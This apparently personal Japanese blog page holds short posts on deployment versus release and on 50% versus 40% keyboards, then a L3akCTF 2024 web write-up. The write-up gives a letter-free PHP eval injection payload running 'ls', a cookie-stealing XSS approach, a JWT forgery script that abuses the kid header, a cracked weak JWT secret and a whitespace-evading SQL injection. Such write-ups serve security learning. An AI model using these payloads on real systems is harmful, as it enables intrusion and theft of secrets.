そういえばデプロイとリリースって違う
デプロイとリリースをこれまで混同していたんだけど*1、『モノリスからマイクロサービスへ』を読んでたら違いについて触れられていて「あー」と思った。
デプロイとリリースの概念を分けることは重要だ。ソフトウェアが特定の環境にデプロイされたからといって、実際に顧客に使用されているとは限らない。この2つを別の概念として扱うことで、最終的な本番環境で使われるようになる前のソフトウェアを検証できるようになり、新しいソフトウェアを公開するリスクを軽減できる。ストラングラーや同時実行、カナリアリリースなどのパターンは、デプロイとリリースが独立した活動であることを利用したパターンの一例だ。
『モノリスからマイクロサービスへ―モノリスを進化させる実践移行ガイド』(Sam Newman 著、島田 浩二 訳、2020年)
www.oreilly.co.jp
要するにデプロイは資材を検証環境だか本番環境だかに配置することで、リリースは顧客が利用できる状態にするってことですね。
ストラングラーパターンは既存のシステムから新しいシステムへ移行するために用いられる手法だけども、デプロイとリリースが違う概念でなければうまく説明できない。
ストラングラーパターン... 既存のシステムを動かしつつ、新しいシステムをデプロイ(資材を配置)する。この時点で新しいシステムは完全な状態でなくても良く、開発のフェーズに合わせて複数回デプロイし、動作確認するなりして良い。 その後、新しいシステムを実際に使っていく段階に入ったら新しいシステムへリダイレクトする。これが即ちリリース(顧客が利用できる状態にする)となる。
デプロイ手順書だとかリリース手順書だとかを書くこともあるけども、手順にリリースが含まれているかどうかでデプロイ手順書かリリース手順書か名前を変えた方が厳密には良さそう。
*1:恥
50%キーボードから40%キーボードに入って良いような気がする
何を話したいか
40%キーボードをいきなり使い始めるのって辛い気がするので、横のキー数が変わらない50%キーボードから始めても良さそうという話をしたい。
ちなみに、この記事においては50%キーボードを60%キーボードと比べて横幅が短くなっていないレイアウトを持つキーボードと定義させてください。
例: Keychron Q9
40%キーボードの難しさ
最近Epomaker TH40が何となく流行ったりして40%キーボードの認知度が上がった気がする*1。とはいえ、敷居が高い。 何が問題かというと数字列が無いこともそうだが、横も結構キュッと小さくなっているのもポイントと思う。
これは60%キーボードの代名詞であるところのHHKBなのですが、赤色の枠が40%キーボードに載っている(だいたいの)キーの範囲。
横もキュッとしてる。

40%キーボードを使うにあたり、不足している数字列のキーおよび横にキュッとされて消えたキーたちをレイヤーキーによって補うわけだけれども、結構難しい。 難しいというのは、これまでとは一切異なる位置に配置しなければならず、習得が難しい、という意味です。
50%キーボード
40%キーボードと違い、50%キーボードは横がキュッとしていない。
これとか→Keychron Q9
これとか→EPOMAKER TIDE49
これとか→Vortex Core Plus
キュッとしていないので、40%キーボードに比べて比較的無理のないキーマップにできる。
50%キーボードを擬似的に40%キーボードのレイアウトにする
とはいえ、50%キーボードの種類はかなり限られており*2、今後のキーボード生活を豊かにすることを考えると40%キーボードのレイアウトに慣れたい、と思ったりする。 そこで、50%キーボードのキーキャップの位置を変えて、擬似的に40%キーボードのレイアウトにするということが可能。
自分はVortex Core Plusを所有しているが、このように中心の縦一列を空白にする*3ことで40%キーボードレイアウトっぽくしている。

50%のレイアウトでまあ慣れたな、となった後、このようにして40%のレイアウトに体を矯正し直せば良い。 それで、買いたい40%キーボードを見つけたら買えば良いと思います。
*1:Youtubeにレビュー動画がたくさん上がっているせいか、全然キーボードに興味なさそうな自分の友人もTH40の存在を知っており驚いた経験がある
*2:40%キーボードの種類もまあ限られているといえばそうなのだが...
*3:空白となったキーはこちらのキースイッチブロッカーで埋めている
L3akCTF 2024 Writeup(Web)
目次
- [Web] Simple calculator
- [Web] I'm the CEO
- [Web] BatBot
- [Web] PEPE
[Web] Simple calculator
問題文のリンクをクリックすると以下のような画面。

よくわからないので添付されたソース(index.php)を見ると、クエリパラメータformulaに入れた文字列をevalしてくれるみたい。
<?php
function popCalc() {
if (isset($_GET['formula'])) {
$formula = $_GET['formula'];
if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
return 'Try Harder !';
}
try {
eval('$calc = ' . $formula . ';');
return isset($calc) ? $calc : '?';
} catch (ParseError $err) {
return 'Error';
}
}
}
$result = popCalc();
echo "Result: " . $result;
?>
試しにformula=3*2とすると計算結果(evalの結果)が出る。

flagはどこなんだろうと思って添付のDockerfileを見るとこのような記述がある。
flag-{ランダムな文字列}.txtというファイルが公開されているということになる。
RUN mv /var/www/html/flag.txt /var/www/html/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1).txt
このflagのファイル名を知る必要がある。
コマンドインジェクションして$ lsとかしたいなあと思う。
index.phpによると、クエリパラメータformulaは変数formulaに格納された後、以下のようにしてevalにかけられる。
そのあと、変数calcの中身がブラウザに表示される。
eval('$calc = ' . $formula . ';');
return isset($calc) ? $calc : '?';
なので、クエリパラメータformulaにexec("ls")を入れたいなあと思う。
でも無理。なぜならformulaにアルファベットを含めると弾かれるから。
if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
return 'Try Harder !';
}
うーんと思って適当に調べてみると下記のページが見つかる。
php filter bypass - no letters or quotes · GitHub
この方法に従い、exec("ls | grep flag")という文字列*1を変換。
(%3C%3C%3C_%0A%5C145%5C170%5C145%5C143%0A_)(%3C%3C%3C_%0A%5C154%5C163%5C40%5C174%5C40%5C147%5C162%5C145%5C160%5C40%5C146%5C154%5C141%5C147%0A_)
これをクエリパラメータformulaの値にセットしてリクエストしてやるとflagファイルの名前が出てくる。
これにアクセスすればフラグ文字列を獲得できる。
[Web] I'm the CEO
二つのページが与えられる。 一つはメモアプリ。もう一つはAdmin Bot(URLを与えるとそこにアクセスしてくれるbot)。 Admin BotがあるということはXSSかな?と思う。
メモアプリはこんな感じ。
テキストボックスにメモを入力してSave Noteを入力すると、
メモ内容が表示される(メモが保存される)。

ちなみにメモ内容が表示されるページ(/view/{UUID})はログインしていないと見られないが、
APIの対応するエンドポイント(/api/note/{同じUUID})にリクエストを投げれば未認証でも内容を見れてしまう*2。

したがって、XSS文字列をメモとして保存して、そのメモに対応する/api/note/{UUID}にAdmin BotがアクセスすればXSSが成功しそう。
そういえば、flagはどこにあるんだろう?と思ってみてみるとbot/bot.jsに以下の記述がある。
Admin Botはリクエストするとき、Cookieにflag文字列をセットしていることがわかる。
bot: async (urlToVisit) => {
const browser = await initBrowser;
const context = await browser.createBrowserContext()
try {
// Goto main page
const page = await context.newPage();
// Set Flag
await page.setCookie({
name: "flag",
httpOnly: false,
value: CONFIG.APPFLAG, ← これ!
domain: CONFIG.APPHOST
})
let cookies = await page.cookies()
console.log(cookies);
// Visit URL from user
console.log(`bot visiting ${urlToVisit}`)
await page.goto(urlToVisit, {
waitUntil: 'networkidle2'
});
await sleep(8000);
cookies = await page.cookies()
console.log(cookies);
というわけで、XSSによってAdmin BotにCookieの内容をどこかに送信させればいけそう。 今回はRequest CatcherへCookieを送信させることにする。
下記XSS文字列をSave Noteする。

その後、http://192.168.64.3:8080/api/note/{UUID}*3をAdmin Botへ入力し、アクセスさせる。
そうするとRequest Cacherへflag文字列が送られてくる。

[Web] BatBot
L3rkCTFのdiscordサーバーに"BatBot"というbotアカウントがいる。
こいつにDMを送ると、トークンを発行してくれる。
!generate {ユーザー名}で発行してくれる。
!verifyコマンドでトークンを認証してもらうこともできる。

添付されているBatBotのソース(bot.py)を見てみると、
ということが分かる。
@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
try:
if isinstance(ctx.channel, discord.DMChannel) == False:
await ctx.send("I can't see here 👀 , DM me")
else:
result = verify_jwt(token)
print(ctx.author)
print(result)
if isinstance(result, dict):
username = result.get('username')
role = result.get('role')
if username and role=='VIP':
await ctx.send(f'Welcome Sir! Here is our secret {flag}')
elif username:
await ctx.send(f'Welcome {username}!')
else:
await ctx.send('Authentication failed. Please try again.')
else:
await ctx.send('Authentication failed.')
except:
await ctx.send('Authentication failed.')
したがって、JWTに含まれるroleの値をVIPに改ざんしてBatBotに認証させたい、となる。
トークンをJSON Web Tokens - jwt.io でデコードさせてみる。

確かにペイロードの値にroleが存在している。
ただしalgがHS256なので、秘密鍵が分からないと改ざんできない。
JWTの検証のために使われる秘密鍵は、kidで指定されているファイルに含まれている。
def verify_jwt(token):
try:
header = jwt.get_unverified_header(token)
kid = header['kid']
assert ("/" not in kid)
with open(kid, 'r') as file:
secret_key = file.read().strip()
decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
return decoded_token
except Exception as e:
return str(e)
このようにkidで秘密鍵の場所が指定されている場合、kidに/dev/nullを設定することで検証の際の秘密鍵を空文字にすることができる。
その上で攻撃者は秘密鍵を空文字とすれば、トークンを改ざんすることができる(生成に使われた際の秘密鍵と認証に使われる際の秘密鍵が同一なので)。
ただし、今回はkidに/が含まれる際には認証が失敗するようになっている(↑のコードの5行目参照)。
そこで今回はkidにbot.pyを指定してしまう。
その上で、秘密鍵としてbot.pyの内容を設定し、トークンを生成してしまう。
bot.pyのトークン生成時のコードを一部改変し、トークンを生成。roleの値はVIPに改ざんしておく。
import jwt
import os
SECRET_KEY_FILE_PATH = 'bot.py'
def generate_token(username=None):
with open(SECRET_KEY_FILE_PATH, 'r') as file:
secret_key = file.read().strip()
headers = {
'kid': SECRET_KEY_FILE_PATH
}
token = jwt.encode({'username': username,'role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
return token
token = generate_token('awk138')
print(token)
BatBotに対して!verify {生成したトークン}というコマンドを送ってやると、flag文字列を吐いてくれる。
[Web] PEPE
お題のWebサイトで、ユーザー登録してログインするとこのような画面(/dashboard)になる。

この/dashboardにアクセスする際、Cookieに設定されたtokenの値で認証済みかを判定している。
@app.route('/dashboard')
def dashboard():
token = request.cookies.get('token')
if not token:
return render_template('login.html', error='Please login to access this page')
# my code
decoded_token = jwt.decode(token, secret, algorithms=['HS256'])
username = decoded_token.get('username')
username=username.lower()
filters=[">", "+","=", "<","//", "|","'1", " 1", " true", "'true", " or", "'or", "/or",";", " ", " " ," and", "'and", "/and", "'like", " like", "%00", "null", "admin'","/like", "'where", " where", "/where"]
passed = next(
(
i
for i in filters
if i in username
),
None,
)
if passed:
return render_template('login.html', error='Invalid username or password')
if not token:
return redirect('/login')
username = verify_jwt(token, 'HS256')
if username:
conn = sqlite3.connect("challenge.db")
cursor = conn.cursor()
query = f"SELECT fortune FROM users WHERE username='{username}';"
result = cursor.execute(query)
row = result.fetchone()
if row:
query = row[0].replace("\\n", "\n").replace("('", "").replace("',)", "")
conn.close()
return render_template('dashboard.html', fortunes=query)
else:
conn.close()
return render_template('login.html', error='Invalid username or password')
else:
return redirect('/login')
tokenの値は(また)JWT。
JWTに含まれるusernameの値が、DBテーブルuserに含まれていれば認証済みと判定される。
query = f"SELECT fortune FROM users WHERE username='{username}';"
ブレースホルダーも使われていないので、明らかにSQLインジェクションできそうな感じ。
ちなみにflagはDBテーブルflagに含まれている。
flag = os.environ.get('FLAG', 'L3AK{this_is_a_fake_flag}')
conn = sqlite3.connect("challenge.db")
cursor = conn.cursor()
cursor.execute("CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL, password TEXT NOT NULL, fortune TEXT NOT NULL);")
cursor.execute("CREATE TABLE IF NOT EXISTS flag (flag TEXT);")
if not cursor.execute("SELECT * FROM flag;").fetchone():
cursor.execute(f"INSERT INTO flag (flag) VALUES ('{flag}');")
このため、usernameを' UNION SELECT flag FROM flag --としてやれば、flag文字列を抽出できるのではと思う。
SELECT fortune FROM users WHERE username='' UNION SELECT flag FROM flag --';
しかし、このようにSQLインジェクションするためには障壁が二つある。
- JWTに含まれる
usernameの値を改ざんする必要がある - フィルターが仕込まれており、
usernameに特定の文字列が入っていると認証が失敗する
1の「JWTに含まれるusernameの値を改ざんする必要がある」については実は簡単で、John the Ripperなどを使えばJWTの秘密鍵を暴くことができる。
$ john token.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst secret (?) 1g 0:00:00:00 DONE 2/3 (2024-05-25 20:55) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..faithfaith Use the "--show" option to display all of the cracked passwords reliably Session completed.
ということで、秘密鍵はsecretと分かる。
usernameの値は改ざんし放題になる。
2の「フィルターが仕込まれており、usernameに特定の文字列が入っていると認証が失敗する」について。
フィルター対象の文字列は以下の通り。
filters=[">", "+","=", "<","//", "|","'1", " 1", " true", "'true", " or", "'or", "/or",";", " ", " " ," and", "'and", "/and", "'like", " like", "%00", "null", "admin'","/like", "'where", " where", "/where"]
usernameに' UNION SELECT flag FROM flag --を設定したい身としてはwhitespaceが対象となっているのが痛い。
いろいろと調べてみるとwhitespaceは/**/と置換できるらしいことが分かる。
なので、こうしてみる。
'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag/**/--/**/
この文字列をusernameとして設定し、トークンを生成する。

Burp Suiteなどでtokenの値を改ざんして/dashboardへリクエストを送る。
そうするとレスポンスにflag文字列が含まれている。

と、ここまで書いたが自分はこの問題を解けなかった。
usernameにこう設定すべきところを、
'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag/**/--/**/
こうしていたため(--がない)。最後まで全く気が付かなかった。
'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag
凡ミス。反省。